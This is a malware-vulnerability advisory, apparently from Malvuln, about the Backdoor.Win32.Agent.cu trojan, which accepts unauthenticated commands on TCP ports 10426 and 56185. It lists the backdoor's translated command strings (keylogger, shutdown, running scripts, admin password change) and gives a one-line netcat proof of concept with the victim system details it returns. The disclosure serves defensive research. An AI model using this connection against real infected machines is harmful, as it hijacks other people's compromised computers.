Share 
## https://sploitus.com/exploit?id=PACKETSTORM:163666
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/ce1963d3fd6a8e1383aac40a1f1c4107_C.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Agent.cu  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP ports 10426, 56185. Third-party attackers who can reach infected systems can execute commands made available by the backdoor.  
Type: PE32  
MD5: ce1963d3fd6a8e1383aac40a1f1c4107  
Vuln ID: MVID-2021-0305  
Dropped files: MsgNet32.exe  
Disclosure: 07/26/2021  
  
Commands translated from German.  
  
001, Successfully connected to  
036, Password is required  
002,  
007, server will be closed  
008, server is gel scht   
\ Software \ Microsoft \ Windows \ CurrentVersion \ Run  
021, server was gel scht, l but continues D  
021, Emmm RegistryName cannot be found ...  
009, server will be uninstalled  
021, server was uninstalled  
011,  
% f Mhz Bytes  
012,  
021, PC is shutting down ...  
022, Pc is restarted ...  
023, user is logged out ...  
024, Pc is turned off power off ...  
025, Forced restart or shutdown ...  
026,  
027, keylogger has stopped  
028,  
021, program has been closed  
021, Program is displayed [Focus]  
021, Program is Maximized  
021, Program is minimized  
021, title was changed changes  
035,  
021, Send desktop pictures, Aborted No driver  
492, No webcam driver found nope  
490, webcam driver [] found  
493,  
021, webcam was switched off k_OF == 43  
037, Wrong password, connection will be disconnected  
021, starting batch file ...  
021, batch file was started ...  
021, Error starting the file ...  
021, VBS file is started ...  
021, VBS file was started ...  
021, error when starting the VBS file ...  
021, REG file is started ...  
021, REG file was started ...  
021, error when starting the REG file ...  
038,  
021, chat he opens with  
021, message arrived ...  
021, chat will be closed ...  
021,  
021, text was written on the desktop  
user  
021, The admin password has been changed changes  
021, The admin password could not be found be changed  
021, The system is not an XP operating system  
send  
021, Net Send message was sent  
021, Net send message could not be sent  
  
  
Exploit/PoC:  
nc64.exe 192.168.18.129 10426  
000, ā–„berprāæfe...006  
012, Victim  
DESKTOP-2C4JQHO  
Windows NT  
English (United States)  
1612x831  
C:\WINDOWS  
C:\WINDOWS\system32  
C:\Users\Victim\AppData\Local\Temp\  
2907.11 Mhz  
Intel64 Family 6 Model 158 Stepping 9  
3,620,909,056 Bytes  
DESKTOP-2C4JQHO  
0.0.0.0  
6  
Lamer  
n/a - n/a  
  
000, ā–„berprāæfe...001  
002, MsgNet32.exe  
Erazer 1.0  
10426  
56185  
Microsoft Net  
C:\WINDOWS  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).